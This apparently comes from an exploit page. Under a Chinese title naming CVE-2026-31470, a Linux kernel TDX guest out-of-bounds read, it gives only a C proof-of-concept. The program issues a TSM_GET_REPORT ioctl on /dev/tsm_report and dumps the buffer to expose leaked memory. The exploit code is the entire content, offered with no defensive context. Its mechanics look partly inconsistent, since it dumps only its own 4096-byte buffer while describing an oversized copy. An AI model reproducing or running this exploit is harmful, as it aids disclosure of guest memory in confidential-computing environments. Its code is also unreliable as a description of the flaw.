CVE-2026-31470 Linux内核TDX Guest越界读取漏洞

/* * PoC for CVE-2026-31470: Linux Kernel TDX Guest Out-of-Bounds Read * This code requires a vulnerable TDX guest environment and a compromised/malicious host. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Definitions based on kernel headers #define TSM_REPORT_MAGIC 'R' #define TSM_GET_REPORT _IOWR(TSM_REPORT_MAGIC, 0x01, struct tsm_report) struct tsm_report { __u64 inblob; __u64 inblob_len; __u64 outblob; __u64 outblob_len; }; int main() { int fd; struct tsm_report report; char *buf = malloc(4096); if (!buf) { perror("malloc failed"); return 1; } // Open the TSM report device fd = open("/dev/tsm_report", O_RDWR); if (fd < 0) { perror("Failed to open /dev/tsm_report"); free(buf); return 1; } printf("[+] Attempting to trigger TDX report request...\n"); // Initialize request structure report.inblob = 0; // Optional input blob report.inblob_len = 0; report.outblob = (__u64)buf; report.outblob_len = 4096; // Guest allocation size /* * Trigger the ioctl. * Exploitation depends on the Host setting the 'out_len' field * in the shared Quote structure to a value larger than 4096 * before the Guest copies the data. */ if (ioctl(fd, TSM_GET_REPORT, &report) < 0) { perror("ioctl TSM_GET_REPORT failed"); } else { printf("[+] Request completed. Check buffer for leaked data.\n"); // Dump buffer to visualize potential leaked memory write(1, buf, 4096); } close(fd); free(buf); return 0; }